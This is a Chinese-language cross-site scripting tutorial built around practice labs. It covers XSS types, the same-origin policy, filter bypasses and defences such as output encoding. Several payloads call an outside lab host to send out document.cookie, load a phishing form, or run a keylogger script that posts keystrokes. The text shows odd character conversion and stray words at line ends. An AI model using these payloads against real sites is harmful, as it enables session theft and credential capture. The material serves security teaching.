即:給一個目標插入腳本攻擊代碼,當瀏覽的人訪問這個網站,那麼瀏覽的人就中招了javascript
原理:XSS(Cross Site Scripting)是指攻擊者在網頁中嵌入客戶端腳本攻擊代碼,一般是JavaScript編寫的危險代碼,用戶使用瀏覽器瀏覽網頁時,腳本就會在用戶的瀏覽器上執行,從而達到攻擊者的目的。php
最終目的是在網頁中嵌入客戶端惡意腳本代碼讓瀏覽者訪問,最經常使用的攻擊代碼是javascript語言,但也會使用其它的腳本語言,例如:ActionScript、VBscript。而現在的互聯網客戶端腳本基本是基於Javascript,因此若是想要深刻研究XSS,必需要精通Javascript。css
而對於滲透測試人員來講只須要彈個窗就好,證實有XSS漏洞html
程序對輸入和輸出的控制不夠嚴格,致使"精心構造「的腳本輸入後,在輸到前端時被瀏覽器看成有效代碼解析執行從而產生危害。代碼示例:前端
<?php $name = $_GET['name']; # 沒有任何過濾,解析的話就會形成xss echo "Welcome $name<br>"; # 若是沒有echo那就無法解析上面的代碼,也就不存在xss ?>
交互的數據通常不會被存在在數據庫裏面,只是簡單的把用戶輸入的數據反射給瀏覽器,一次性,所見即所得。(通常來講,前端頁面會限制字符串長度,修改下maxlength就好)java
交互的數據會被存在在數據庫裏面,永久性存儲,具備很強的穩定性ajax
不與後臺服務器產生數據交互,經過前端的dom節點造成的XSS漏洞(危害很小,很難利用,可是也是一類)sql
對於XSS來講,只要有輸入且有對腳本輸出解析的地方(登陸註冊修改更新留言等等),均可以嘗試XSS——>數據庫
http://xx.xx.xx.xx/xxx.php?id=參數'"><script>alert(12)</script>
HTML標籤、URL欄、Style地、Script地、referer頭、cookies、post參數、頁面帶參數的地方等等跨域
(跟注入類似,找到帶參數的地方,直接上腳本代碼)
全自動掃描工具:APPscan、AWVS、Burpsuite 等
半自動化工具:Burpsuite、firefox(hackbar)、XSSER XSSF等
實驗,注:(利用掃描器掃出來的嘗試的xss代碼,中間插入彈窗,放到實際環境中測試)
http:// www. oldboyedu.com :80 / news/index.php
協議 子域名 主域名 端口 資源地址
當協議、主機(主域名,子域名)、端口中的任意一個不相同時,稱爲不一樣域。咱們把不一樣的域之間請求數據的操做,成爲跨域操做。
爲了安全考慮,全部瀏覽器都約定了「同源策略」,同源策略禁止頁面加載或執行與自身來源不一樣的域的任何腳本既不一樣域之間不能使用JS進行操做。好比:x.com域名下的js不能操做y.com域名下的對象
即:限制了跨域加載腳本
那麼爲何要有同源策略? 好比一個惡意網站的頁面經過js嵌入了銀行的登陸頁面(兩者不一樣源),若是沒有同源限制,惡意網頁上的javascript腳本就能夠在用戶登陸銀行的時候獲取用戶名和密碼。
Tips:下面這些標籤跨域加載資源(資源類型是有限止的)是不受同源策略限制的
<script src="..."> //加載本地js執行 <img src="..."> //圖片 <link href="..."> //css <iframe src="..."> //任意資源
後臺設置好Access-Control-Allow-Origin,設置爲*,既容許全部人訪問
也就是說,若是咱們構造的url中使用到了.js腳本,同源策略是必須開啓的,就像下面所介紹的鍵盤記錄同樣。例子:
<script src="http://192.168.18.61:99/pikachu/pkxss/rkeypress/rk.js"></script>
XSS盲打就是攻擊者在前端提交的數據不知道後臺是否存在xss漏洞的狀況下,提交惡意JS代碼在相似留言板等輸入框後,所展示的後臺位置的狀況下,網站採用了攻擊者插入的惡意代碼,當後臺管理員在操做時就會觸發插入的惡意代碼,從而達到攻擊者的目的。
11'"><script>alert(63252)</script>
大多數網站爲了不xss的攻擊,對於攻擊者的輸入都採起了過濾的措施,致使攻擊者一般不能正常插入惡意代碼來達到攻擊目的。可是仍存在一些漏洞能夠利用,來繞過過濾措施。
xss繞過的方法有許多,主要取決於攻擊者的思路和對前端技術的掌握,如下介紹幾個簡單的繞過方法。
原型:'"><script>alert(63252)</script>
對前端的限制能夠嘗試進行抓包重發或者修改前端的HTML。
防止後臺對輸入的內容進行正則匹配來過濾輸入,對於這樣的過濾能夠考慮大小寫混合輸入的方法。
例:
<sCRipT>alert('你打籃球像oldboy')</sCrIPt>
防止後臺對輸入的內容進行替換,採用拼拼湊的輸入方法。
例:
<scr<script>ipt>alert('你打籃球像oldboy')</scr<script>ipt>
使用註釋來干擾後臺對輸入內容的識別。
例:
<sc<!--test-->ript>alert('你打籃球像oldboy')</scr<!--tshauie-->ipt>
編碼
思路:後臺有可能會對代碼中的關鍵字進行過濾,但咱們能夠嘗試將關鍵字進行編碼後在插入,瀏覽器對改編碼進行識別時,會翻譯成正常的代碼。(注意:編碼在輸出時是否會被正常識別和翻譯纔是關鍵,不是全部的編碼都是能夠的)
使用HTML進行編碼:
<img src=x onerror="alert('yangshuang')"/>
例:使用事件屬性
(例如:系統用了正則匹配,致使大小寫和雙寫繞過失效,可是可使用事件驅動,原理就是讓靶機由於沒法出現一個不存在的圖片而出發錯誤,出現彈窗。)
onerror(): <img src=# onerror="alert('oldboy')"/>
htmlspecialchars()函數把一些預約義的字符轉換爲 HTML 實體。
預約義的字符是: & (和號)成爲 & " (雙引號)成爲 " ’ (單引號)成爲' < (小於)成爲 < >(大於)成爲 > 該函數的語法:htmlspecialchars(string,flags,character-set,double_encode)
過濾原理:htmlspecialchars() 函數把預約義的字符轉換爲 HTML 實體,從而使XSS攻擊失效。可是這個函數默認配置不會將"單引號"和"雙引號"過濾,只有設置了quotestyle規定如何編碼單引號和雙引號才能會過濾掉單引號
(相似於sql參數化查詢,將變量變爲了常量)
可用的quotestyle類型: ENT_COMPAT - 默認。僅編碼雙引號 ENT_QUOTES - 編碼雙引號和單引號 ENT_NOQUOTES - 不編碼任何引號 可以使用如下語句繞過: q' onclick='alert(111)'
javascript:alert(1111) 直接代入a標籤herf裏面同樣能夠繞過htmlspecialchars
原理代碼: <script> $ms='11'</script><script>alert(1111)</script> ; if($ms.length != 0){ if($ms == 'tmac'){ $('#fromjs').text('tmac確實厲害,看那小眼神..') }else { // alert($ms); $('#fromjs').text('不管如何不要放棄心中所愛..') } } </script> ------------------ 2'</script><script>alert(1111)</script> 這段代碼應該寫入$ms中 ------------------
XSS防護的整體思路是:
對輸入進行過濾,對輸出進行編碼
談一談過濾和轉義:
過濾:根據業務需求進行過濾,好比輸出點要求輸入手機號,則只容許輸入手機號格式的數字。
轉義:全部輸出到前端的數據都根據輸出點進行轉義,好比輸出到html中進行html實體轉義,輸入到JS裏面的進行JS轉義()
代碼舉例:
不可能難度 源代碼: <?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?> 系統使用了htmlspecialchars把咱們XSS要用到的一些預約義字符轉化爲HTML實體,致使沒法再進行反射型XSS攻擊。 預約義字符包括:"、'、<、>、&
包括kali的xsser、beef、各類掃描器
111'"><script>document.location = 'http://192.168.18.61:99/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>前端限制繞過:
填入上面的xss代碼:
獲得返回的結果。
很差利用
在用戶登陸的狀況下:
使用戶點擊咱們的含xss代碼的頁面:post.html,而後就能獲取到登陸狀態下用戶的cookies
222'"><script src="http://192.168.18.61:99/pikachu/pkxss/xfish/fish.php"></script>
利用這段代碼,讓受害者輸入用戶名密碼,咱們後臺就能接收到
條件:須要不受同源策略影響,到後臺設置好Access-Control-Allow-Origin,設置爲*,既容許全部人訪問,不受同源策略限制。
rk.js關鍵代碼解讀:
var realkey = String.fromCharCode(event.keyCode); //獲取用戶鍵盤記錄,最後轉化爲字符串 xl+=realkey; //賦值給x1 show(); //調用show涵數,經過下面ajax進行post發送鍵盤記錄人內容``
輸入設置好的惡意JS代碼:
xxx'"><script src="http://192.168.18.61:99/pikachu/pkxss/rkeypress/rk.js"></script>
而後在鍵盤上隨意輸入,就能夠到xss平臺上去查看鍵盤輸入的結果